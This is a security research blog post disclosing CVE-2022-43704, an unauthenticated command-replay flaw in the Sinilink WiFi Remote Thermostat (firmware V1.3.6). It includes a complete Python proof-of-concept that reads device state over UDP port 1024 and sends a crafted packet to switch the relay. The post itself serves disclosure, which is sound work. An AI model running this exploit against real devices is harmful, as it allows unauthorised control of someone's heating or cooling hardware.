top of page
Search
Writer's pictureVictor Hanna

CVE-2022-43704

Channel Accessible by non-endpoint


Introduction


Our Security Research Team at [exploitsecurity.io] discovered a vulnerability in the Sinilink WiFi Remote Thermostat, running firmware V1.3.6, which allows for an attacker to bypass the intended requirement to communicate using MQTT but instead it is possible to replay sinilink protocol commands interfacing directly with the target device. This in turn allows for an attack to control the onboard relay without requiring authentiation via the mobile application. The target device is required to be in 'Manual Mode' with 'Power On, Close' as a pre-requisite.


Affected Device Details



Tech Specs


Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support


  • Product uses websockets to setup comms back to ws://mq.sinilink.com:8085/mqtt.

  • This endpoint is utilised as a MQTT Broker and is unauthenticated


Manufacturer



Datasheet(s)



Attack Surface Map



Attack Surface Map

Prerequiste Setup (Modile Application)



Prerequisite configuration

Known Affected Software Configurations


  • V1.3.6


Proof Of Concept Code



#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

Reference



Remediation Steps


  • Adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.


Video Proof Of Concept



Comments


Commenting has been turned off.
bottom of page